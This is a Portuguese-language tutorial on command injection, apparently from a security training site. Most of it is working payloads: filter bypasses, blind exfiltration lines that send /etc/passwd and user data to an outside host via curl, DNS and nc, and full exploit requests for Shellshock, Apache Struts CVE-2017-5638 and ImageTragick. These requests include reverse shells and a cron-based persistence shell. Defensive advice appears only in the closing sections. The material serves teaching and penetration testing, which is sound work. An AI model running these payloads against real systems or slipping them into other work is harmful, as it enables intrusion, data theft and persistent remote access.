🎯 Por que isso importa

Injeção de comandos representa uma das vulnerabilidades de maior impacto em aplicações web modernas, fornecendo acesso direto ao sistema operacional e comprometimento completo do servidor. Esta vulnerabilidade é particularmente prevalente em ferramentas DevOps, pipelines CI/CD, interfaces administrativas e sistemas de processamento de arquivos onde aplicações se integram com comandos do sistema subjacente. Quando você entender a exploração de injeção de comandos, estará aprendendo técnicas que podem levar à execução imediata de código remoto e comprometimento completo da infraestrutura.

🔍 O que você vai aprender

Você dominará a abordagem sistemática para identificar e explorar vulnerabilidades de injeção de comandos através de encadeamento direto de comandos, técnicas de bypass de filtros e métodos de exploração cega. Isso inclui compreender payloads específicos de sistemas operacionais, exfiltração de dados out-of-band e técnicas avançadas de bypass que especialistas em segurança usam para demonstrar comprometimento completo do sistema em avaliações do mundo real.

🚀 Sua primeira vitória

Nos próximos 15 minutos, você explorará com sucesso uma vulnerabilidade de injeção de comandos para obter acesso shell em um sistema alvo, demonstrando como integrações de sistema aparentemente seguras podem levar ao comprometimento completo do servidor e controle administrativo.

🔧 Tente isso agora

Teste injeção de comandos básica contra um endpoint de processamento de arquivos

# Encadeamento básico de comandos com ponto e vírgula
POST /convert HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

filename=test.pdf; whoami

# Bypass por substituição de comando
filename=test.pdf$(whoami)
filename=test.pdf`whoami`

# Operadores lógicos para encadeamento
filename=test.pdf && whoami
filename=test.pdf || whoami

# Redirecionar saída de comando
filename=test.pdf | whoami

# Injeção de comando cega com atraso de tempo
filename=test.pdf; sleep 10
filename=test.pdf$(sleep 10)

# Exfiltração de dados out-of-band
filename=test.pdf; curl http://<attacker>/$(whoami)
filename=test.pdf; wget http://<attacker>/collect?data=$(id | base64)

Você verá: Como diferentes técnicas de injeção de comandos contornam validação de entrada e executam comandos arbitrários no servidor. Isso demonstra por que sanitização adequada de entrada e integração segura de sistema são críticas para segurança da aplicação.

Injeção de comandos ocorre quando aplicações passam entrada de usuário não sanitizada para comandos shell do sistema

Como integração de sistema cria oportunidades de ataque

Aplicações web frequentemente precisam realizar operações em nível de sistema como processamento de arquivos, utilitários de rede, operações de banco de dados ou tarefas administrativas. Desenvolvedores frequentemente implementam esses recursos construindo comandos shell que incluem dados fornecidos pelo usuário. Uma implementação vulnerável típica pode parecer com system("convert " + userFile + " output.pdf") onde a aplicação converte arquivos usando comandos do sistema.

A falha crítica de segurança emerge quando entrada do usuário é concatenada diretamente nesses comandos. Se um atacante pode controlar qualquer parte da string de comando, ele pode injetar comandos adicionais usando metacaracteres de shell como ponto e vírgula, pipes ou substituição de comando. O shell interpreta esses como comandos separados, executando o payload do atacante junto com a funcionalidade pretendida.

O que torna a injeção de comandos particularmente perigosa é que os comandos executam com os mesmos privilégios da aplicação web. Em muitos casos, isso significa a conta de usuário do servidor web, que frequentemente tem acesso significativo ao sistema. Em ambientes containerizados ou sistemas mal configurados, isso pode até significar acesso de nível root à infraestrutura inteira.

Por que injeção de comandos é crítica na infraestrutura moderna

Aplicações modernas dependem cada vez mais de integrações de sistema para processamento de arquivos, operações de rede, monitoramento e automação. Ferramentas DevOps, pipelines CI/CD, dashboards administrativos e aplicações cloud-native todas comumente executam comandos do sistema baseados em entrada do usuário. Cada um desses representa uma superfície de ataque potencial para injeção de comandos.

Ambientes de container e plataformas cloud frequentemente amplificam o impacto da injeção de comandos. Embora containers forneçam algum isolamento, injeção de comandos bem-sucedida ainda pode levar a escape de container, acesso a APIs de orquestração ou movimento lateral dentro da infraestrutura. Serviços de metadados cloud, APIs de runtime de container e interfaces de gerenciamento de cluster todos se tornam acessíveis a atacantes que alcançam execução de comandos.

A mudança para infraestrutura como código e pipelines de deployment automatizados criou novos vetores de ataque onde injeção de comandos em ferramentas de deployment pode comprometer ambientes de produção inteiros. É por isso que entender injeção de comandos é essencial para proteger arquiteturas de aplicação modernas.

A metodologia de teste de injeção de comandos

Especialistas em segurança seguem uma abordagem sistemática para testes de injeção de comandos que progride da identificação de parâmetros através da exploração até a demonstração de impacto. Esta metodologia garante cobertura abrangente e revela o escopo completo de comprometimento potencial através de vulnerabilidades de injeção de comandos.

Etapa 1: Descoberta de parâmetros - Identifique campos de entrada, parâmetros de URL e cabeçalhos de requisição que podem ser passados para comandos do sistema. Procure funcionalidades de processamento de arquivos, utilitários de rede, administração de sistema ou diagnóstico.

Etapa 2: Detecção do contexto de comando - Teste com payloads simples para entender como entrada do usuário é incorporada em comandos do sistema e identificar o sistema operacional subjacente.

Etapa 3: Desenvolvimento de exploração - Crie payloads direcionados que contornam validação de entrada e alcançam execução de comandos, adaptando técnicas baseadas em mecanismos de filtragem.

Etapa 4: Avaliação de impacto - Demonstre o escopo completo de acesso ao sistema possível através da vulnerabilidade, incluindo acesso ao sistema de arquivos, capacidades de rede e potencial para persistência.

Teste manual de injeção de comandos

Teste manual fornece a base para entender comportamento de injeção de comandos e permite exploração precisa que ferramentas automatizadas podem perder. Entender essas técnicas manuais é essencial para avaliações de segurança completas e adaptação a contextos específicos de aplicação.

# Encadeamento de comandos com ponto e vírgula (Unix/Linux/Windows)
test.txt; whoami
test.txt; id
test.txt; hostname

# AND lógico - executa se o primeiro comando tiver sucesso
test.txt && whoami
test.txt && net user

# OR lógico - executa se o primeiro comando falhar
test.txt || whoami
test.txt || dir

# Substituição de comando (Unix/Linux)
test.txt$(whoami)
test.txt`whoami`
$(whoami).txt
`id`.txt

# Operações de pipe
test.txt | whoami
test.txt | ipconfig

# Execução em background
test.txt & whoami
test.txt & ping hackerdna.com

# Redirecionamento para operações de arquivo
test.txt; whoami > /tmp/output.txt
test.txt; echo "test" >> /var/log/app.log

Técnicas de bypass de filtros

Aplicações frequentemente implementam validação de entrada para prevenir injeção de comandos, mas muitos mecanismos de filtragem podem ser contornados usando codificação, sintaxe alternativa ou construção criativa de payload. Entender técnicas de bypass é essencial para testes de segurança completos.

# Bypass de codificação URL
test.txt%3Bwhoami
test.txt%26%26whoami

# Codificação URL dupla
test.txt%253Bwhoami

# Codificação Unicode
test.txt\u003Bwhoami

# Codificação hexadecimal
test.txt\x3Bwhoami

# Codificação Base64 com substituição de comando
test.txt$(echo d2hvYW1p | base64 -d)
test.txt`echo d2hvYW1p | base64 -d`

# Substituição de variável (Bash)
test.txt${IFS}whoami
test.txt$IFS$9whoami

# Concatenação de caracteres
test.txt;who""ami
test.txt;who''ami
test.txt;who\ami

# Separadores de comando alternativos
test.txt%0Awhoami  # Nova linha
test.txt%0Dwhoami  # Retorno de carro
test.txt%09whoami  # Tab

# Injeção de variável de ambiente
test.txt;HOME=/tmp;whoami
test.txt;PATH=/usr/bin:$PATH;id

Exploração cega de injeção de comandos

Quando aplicações não retornam saída de comando diretamente, técnicas de injeção de comandos cega permitem confirmação de vulnerabilidade e exfiltração de dados através de métodos de canal lateral. Essas técnicas são essenciais para testar aplicações de produção onde saída direta não é visível.

# Injeção de atraso de tempo (Unix/Linux)
test.txt; sleep 10
test.txt$(sleep 5)
test.txt`sleep 15`
test.txt && sleep 10

# Injeção de atraso de tempo (Windows)
test.txt; timeout 10
test.txt & ping -n 10 127.0.0.1
test.txt && powershell Start-Sleep 5

# Atrasos de tempo condicionais para extração de dados
test.txt; if [ $(whoami | cut -c1) = "r" ]; then sleep 5; fi
test.txt; test $(id -u) -eq 0 && sleep 10

# Atrasos de tempo baseados em DNS
test.txt; nslookup $(whoami).hackerdna.com
test.txt; dig $(hostname).hackerdna.com

# Exfiltração baseada em HTTP
test.txt; curl http://hackerdna.com/collect?data=$(whoami)
test.txt; wget -q -O- http://hackerdna.com/$(id | base64 | tr -d '\n')
test.txt; curl -X POST -d "$(cat /etc/passwd)" http://hackerdna.com/data

# Exfiltração baseada em DNS
test.txt; nslookup $(whoami | tr -d '\n').hackerdna.com
test.txt; dig $(hostname).$(whoami).hackerdna.com
test.txt; host $(cat /etc/passwd | base64 | cut -c1-50).hackerdna.com

# Confirmação baseada em arquivo
test.txt; touch /tmp/hackerdna-$(whoami)
test.txt; echo "injection-success" > /var/log/hackerdna.log

# Confirmação baseada em rede
test.txt; nc hackerdna.com 80 < /etc/passwd
test.txt; telnet hackerdna.com 443 < /etc/hosts

# Exfiltração por email (se sendmail disponível)
test.txt; echo "$(whoami)@$(hostname)" | mail -s "Command Injection" attacker@hackerdna.com

Commix: injeção de comandos automatizada

Commix (Command Injection Exploiter) é uma ferramenta especializada para automatizar descoberta e exploração de injeção de comandos. Enquanto testes manuais fornecem compreensão profunda, Commix pode sistematicamente testar múltiplos vetores de injeção e fornecer capacidades de exploração automatizadas.

# Instalar Commix
git clone https://github.com/commixproject/commix.git
cd commix
python commix.py --help

# Teste básico de parâmetro URL
python commix.py --url="http://<target>/process?filename=test.txt"

# Teste de dados POST
python commix.py --url="http://<target>/convert" --data="file=test.pdf"

# Teste de cabeçalhos personalizados
python commix.py --url="http://<target>/api" --header="X-Filename: test.txt"

# Injeção cega com atrasos de tempo
python commix.py --url="http://<target>/ping?host=127.0.0.1" --technique=T

# Teste de saída baseado em arquivo
python commix.py --url="http://<target>/log?file=access.log" --technique=F

# Ponto de injeção personalizado
python commix.py --url="http://<target>/api" --data="filename=INJECT_HERE&action=process"

# Detecção de sistema operacional
python commix.py --url="http://<target>/cmd?exec=whoami" --os=unix

# Modo batch com wordlist
python commix.py --url="http://<target>/process?cmd=FUZZ" --wordlist=/usr/share/wordlists/common.txt

Vulnerabilidade Shellshock no Bash (CVE-2014-6271)

A vulnerabilidade Shellshock afetou o processamento de variáveis de ambiente do shell Bash, permitindo execução remota de comandos através de cabeçalhos HTTP em aplicações web que passavam variáveis de ambiente para scripts shell. CVE-2014-6271 demonstrou como componentes fundamentais do sistema podem criar vulnerabilidades generalizadas de injeção de comandos afetando milhões de sistemas no mundo todo.

# Exploração Shellshock via cabeçalhos HTTP
# Scripts CGI vulneráveis que processam variáveis de ambiente
# Muitas aplicações web foram afetadas através do processamento CGI

# Etapa 1: Identificar endpoints CGI vulneráveis ao Shellshock
# Caminhos CGI comuns: /cgi-bin/, /scripts/, /cgi-mod/
GET /cgi-bin/test.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; echo "Content-Type: text/plain"; echo; echo "Shellshock Test"; /bin/uname -a

# Etapa 2: Execução de comando via cabeçalho User-Agent
GET /cgi-bin/status.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; /bin/bash -c "whoami"
Referer: () { :;}; /bin/bash -c "id"

# Etapa 3: Payload avançado para reverse shell
GET /cgi-bin/formmail.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; /bin/bash -c "bash -i >& /dev/tcp/hackerdna.com/4444 0>&1"

# Etapa 4: Exfiltração de dados via injeção de variável de ambiente
GET /cgi-bin/search.cgi HTTP/1.1
Host: <target>
Cookie: () { :;}; /bin/bash -c "curl -X POST -d \"$(cat /etc/passwd)\" http://hackerdna.com/collect"

# Etapa 5: Acesso persistente através de instalação de cron job
GET /cgi-bin/admin.cgi HTTP/1.1
Host: <target>
X-Forwarded-For: () { :;}; /bin/bash -c "echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/hackerdna.com/443 0>&1\"' | crontab -"

# Etapa 6: Reconhecimento de rede e movimento lateral
GET /cgi-bin/ping.cgi HTTP/1.1
Host: <target>
Accept: () { :;}; /bin/bash -c "nmap -sT 192.168.1.0/24 > /tmp/scan.txt; curl -X POST -d \"$(cat /tmp/scan.txt)\" http://hackerdna.com/recon"

Impacto global: Shellshock afetou milhões de sistemas incluindo servidores web, roteadores, dispositivos IoT e instâncias cloud. A vulnerabilidade permitiu execução imediata de código remoto através de simples requisições HTTP, levando a infecções massivas de botnet e comprometimentos generalizados de sistemas. Patches foram rapidamente implantados, mas muitos sistemas permaneceram vulneráveis por períodos estendidos.

Injeção de comandos Apache Struts (CVE-2017-5638)

Apache Struts continha uma vulnerabilidade de injeção de comandos em sua funcionalidade de upload de arquivos que permitia execução remota de código através de cabeçalhos Content-Type maliciosos. CVE-2017-5638 foi explorada na violação da Equifax e demonstra como vulnerabilidades de framework podem levar a violações massivas de dados afetando milhões de pessoas.

# Exploração Apache Struts CVE-2017-5638
# Vulnerabilidade no parser Jakarta Multipart
# Afeta Struts 2.3.5 - 2.3.31 e 2.5 - 2.5.10

# Etapa 1: Identificar aplicação Struts com upload de arquivo
# Procurar .action, .do, ou padrões de URL específicos do Struts
# Formulários de upload de arquivo são vetores de ataque primários

# Etapa 2: Criar cabeçalho Content-Type malicioso
POST /upload.action HTTP/1.1
Host: <target>
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Vulnerable')}.multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1337

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain

Test file content
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Etapa 3: Payload de execução de comando
POST /upload.action HTTP/1.1
Host: <target>
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Impacto da violação: CVE-2017-5638 foi o vetor de ataque usado na violação da Equifax, uma das maiores violações de dados da história afetando 143 milhões de pessoas. A vulnerabilidade permitiu execução imediata de código remoto através de simples requisições HTTP para qualquer aplicação Struts com funcionalidade de upload de arquivo. Apesar de patches estarem disponíveis, muitas organizações falharam em atualizar prontamente, levando a exploração generalizada.

Injeção de comandos ImageMagick (CVE-2016-3714)

ImageMagick, uma biblioteca de processamento de imagens amplamente usada, continha vulnerabilidades de injeção de comandos que permitiam execução remota de código através de arquivos de imagem maliciosos. CVE-2016-3714 ("ImageTragick") demonstra como bibliotecas de processamento de arquivos podem introduzir vulnerabilidades de injeção de comandos em aplicações web que lidam com conteúdo enviado por usuários.

# Exploração ImageMagick "ImageTragick" CVE-2016-3714
# Afeta versões ImageMagick antes de 6.9.3-9 e 7.0.1-0
# Vulnerabilidade no tratamento de delegate para processamento de imagens

# Etapa 1: Criar arquivo MVG malicioso para injeção de comandos
# Formato MVG (Magick Vector Graphics) permite comandos embutidos
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/image.jpg"|whoami > /tmp/output.txt)'
pop graphic-context
EOF

# Etapa 2: Fazer upload de imagem maliciosa via interface web
# Alvejar formulários de upload que processam imagens com ImageMagick
POST /upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 500

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="exploit.jpg"
Content-Type: image/jpeg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/test.jpg"|curl http://hackerdna.com/collect?data=$(whoami))'
pop graphic-context
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Etapa 3: Payload avançado para reverse shell
# Criar payload mais sofisticado para acesso persistente
cat > shell.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 'label:test'
fill 'url(https://hackerdna.com/pixel.png"|bash -c "bash -i >& /dev/tcp/hackerdna.com/443 0>&1")'
pop graphic-context
EOF

Impacto generalizado: ImageTragick afetou inúmeras aplicações web que usavam ImageMagick para processamento de imagens, incluindo plataformas principais e sistemas de gerenciamento de conteúdo. A vulnerabilidade permitiu execução remota de código através de simples uploads de imagem, tornando-a particularmente perigosa para aplicações voltadas ao público. Muitas aplicações exigiram tanto atualizações do ImageMagick quanto mudanças de configuração para mitigar completamente o problema.

Defesa primária: evitar execução de comandos do sistema

A proteção mais eficaz contra injeção de comandos é eliminar inteiramente a necessidade de execução de comandos do sistema. Linguagens de programação e frameworks modernos fornecem alternativas seguras para a maioria das tarefas comuns de integração de sistema sem requerer construção de comandos shell.

• Usar bibliotecas da linguagem de programação - Substitua comandos do sistema por funções nativas da linguagem para operações de arquivo, requisições de rede e processamento de dados
• Aproveitar capacidades do framework - Utilize recursos integrados do framework para tarefas comuns como uploads de arquivo, processamento de imagens e validação de dados
• Integrações baseadas em API - Substitua ferramentas de linha de comando por chamadas diretas de API para serviços e bibliotecas
• Microsserviços containerizados - Isole operações de sistema em containers dedicados com capacidades limitadas
• Funções serverless - Use funções cloud para tarefas de processamento isoladas que requerem operações em nível de sistema

Práticas de execução segura de comandos

Quando execução de comandos do sistema é inevitável, implemente controles de segurança rigorosos que previnem que entrada do usuário modifique a estrutura do comando e limitem o escopo de exploração potencial.

• Validação de entrada e whitelist - Valide toda entrada do usuário contra padrões rigorosos e rejeite qualquer coisa que não corresponda aos formatos esperados
• Execução parametrizada de comandos - Use recursos da linguagem de programação que separam comandos de argumentos, prevenindo injeção
• Escape de argumentos de comando - Escape corretamente toda entrada do usuário usando funções específicas da linguagem projetadas para segurança de shell
• Templates de comando predefinidos - Use estruturas de comando fixas com substituição de placeholder em vez de construção dinâmica de comandos
• Conjuntos de comandos restritos - Limite comandos disponíveis a uma whitelist predefinida de operações seguras

Estratégias de proteção em nível de sistema

Múltiplos controles em nível de sistema fornecem proteção abrangente contra ataques de injeção de comandos, garantindo que mesmo exploração bem-sucedida tenha impacto limitado na segurança geral do sistema.

• Princípio do menor privilégio - Execute aplicações web com permissões mínimas de sistema necessárias para funcionalidade
• Sandboxing e containerização - Isole aplicações em containers ou ambientes chroot com acesso limitado ao sistema
• Filtragem de tráfego de saída - Bloqueie conexões de rede de saída para prevenir exfiltração de dados e estabelecimento de reverse shell
• Monitoramento e alertas do sistema - Implemente logging abrangente e detecção de anomalias para padrões incomuns de execução de comandos
• Controles de acesso ao sistema de arquivos - Restrinja acesso da aplicação apenas a diretórios e arquivos necessários usando permissões apropriadas
• Sistemas operacionais com segurança aprimorada - Use SELinux, AppArmor ou sistemas similares de controle de acesso obrigatório para limitar capacidades da aplicação